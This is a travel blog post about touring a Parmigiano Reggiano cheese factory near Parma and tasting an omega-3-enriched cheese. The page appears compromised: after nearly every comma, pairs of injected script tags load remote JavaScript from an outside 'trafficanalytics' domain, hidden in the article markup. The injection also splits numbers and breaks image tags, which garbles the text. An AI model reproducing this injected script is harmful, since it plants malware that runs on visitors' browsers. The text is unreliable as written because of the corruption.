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Parma Cheese, Please!

by Karen Kwan

global feast

When I was recently invited on a trip to Parma, Italy, my first thoughts were, “I’m going to the land of parmagiano Reggiano and prosciutto!”

So when our hosts offered us a tour of a parmagiano Reggiano factory—after a whirlwind three days at the Academia Barilla, where the family-owned company taught us the history of pasta, took us on a tour of their pasta factory and showed us how to make some delicious dishes in hands-on cooking classes (including pasta fagioli and spaghetti alla carbonara)—I jumped at the opportunity.

Parma, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Italy” title=”Parma-Italy” width=”630″ height=”472″ class=”aligncenter size-medium wp-image-25554″ /></a></p>
<p>We drove about a half hour outside of Parma to Traversetelo to meet with Antonio Martini, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the president of Caseificio La Traversetolese. Being a city girl, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I had visions of a rustic, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> farmhouse-like setting and was instead lead through a state-of-the-art facility where 22, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>000 wheels of cheese are produced annually. </p>
<p>But any disappointment I had about the facility’s lack of rustic charm was quickly extinguished once Martini started talking about cheese. This man is passionate about the cheese he produces. He walked us through the entire cheese-making process and explained how 100 litres of milk produces 7 kilograms of parmesan. Consider that your average bite of parmesan, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> say 50 grams or so, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> requires 850 grams of milk and you may develop a whole new appreciation for your favourite dairy product. I know I did.</p>
<p>When we stepped into the room where the cheese is aged, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the pungent smell of parmagiano Reggiano enveloped us and I was swooning (and, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> yes, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> salivating). The cheese is aged 22 to 26 months and the skin on the wheel forms naturally (Martini recommends cleaning the outer layer so you can eat it, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> “grate it, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> put it in a broth or grill it”).  </p>
<p><a href=Parmesan cheese, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Italy” title=”parmesan-cheese-Italy” width=”630″ height=”472″ class=”aligncenter size-medium wp-image-25556″ /></a></p>
<p>“You can age it up to 30 months, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but you have to do it really well, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>” he says. “When it’s very aged, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it’ll have a very, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> very strong flavour—one that’s not to everyone’s taste.”</p>
<p>The product the cheesemaker is most proud of? His new version of cheese that offers cardiovascular benefits—Gran Speciale. This omega-3 and 6-enriched cheese is made from the milk of cows fed an essential fatty acid-rich diet of cereal and flax. “In 800 years, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> no one’s tried to change parmagiano reggiano, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>” says Martini happily, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and he has high hopes of next year improving on its essential fatty acid content while also lowering the salt content.</p>
<p><a href=Cheesemakers in Parma, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Italy” title=”cheesemakers-Parma-Italy” width=”630″ height=”472″ class=”aligncenter size-medium wp-image-25555″ /></a></p>
<p>Finally, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> we grabbed a seat in his office where he popped open some prosecco and we enjoyed chunk after chunk of Gran Speciale. Sharp and slightly nutty, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the cheese was making me ever so grateful to not be lactose intolerant. I immediately started thinking of how I could lug home an entire wheel of it—until I remembered a wheel would set me back 1, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>100 euros.</p>
<p>So I suppose I’ll just have to plan another trip to Parma to enjoy it again—I still have to learn all about prosciutto, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> too, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> after all.</p>
<h5>Come dine with us! We’re celebrating the harvest this month on Travel+Escape with a special series, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <a href=CULINARY TRAVEL: GLOBAL FEAST!